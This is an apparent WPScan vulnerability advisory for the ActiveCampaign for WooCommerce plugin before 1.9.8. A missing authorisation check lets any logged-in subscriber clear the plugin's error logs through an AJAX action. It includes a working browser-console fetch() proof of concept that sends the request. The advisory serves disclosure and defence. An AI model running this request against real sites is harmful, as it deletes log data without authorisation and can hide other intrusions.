Lucene search

K
wpvulndbLana CodesWPVDB-ID:6536946A-7EBF-4F8F-9446-36EC2A2A3AD2
HistoryDec 16, 2022 - 12:00 a.m.

ActiveCampaign for WooCommerce < 1.9.8 - Subscriber+ Error Log Cleanup

2022-12-1600:00:00
Lana Codes
wpscan.com
12
activecampaign
woocommerce
vulnerability
unauthorized access
ajax action

0.001 Low

EPSS

Percentile

23.5%

The plugin does not have authorisation check when cleaning up its error logs via an AJAX action, which could allow any authenticated users, such as subscriber to call it and remove error logs.

PoC

Run the below command in the developer console of the web browser while being on the blog as a subscriber user: fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=activecampaign_for_woocommerce_clear_error_log’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
activecampaign-for-woocommercelt1.9.8

0.001 Low

EPSS

Percentile

23.5%

Related for WPVDB-ID:6536946A-7EBF-4F8F-9446-36EC2A2A3AD2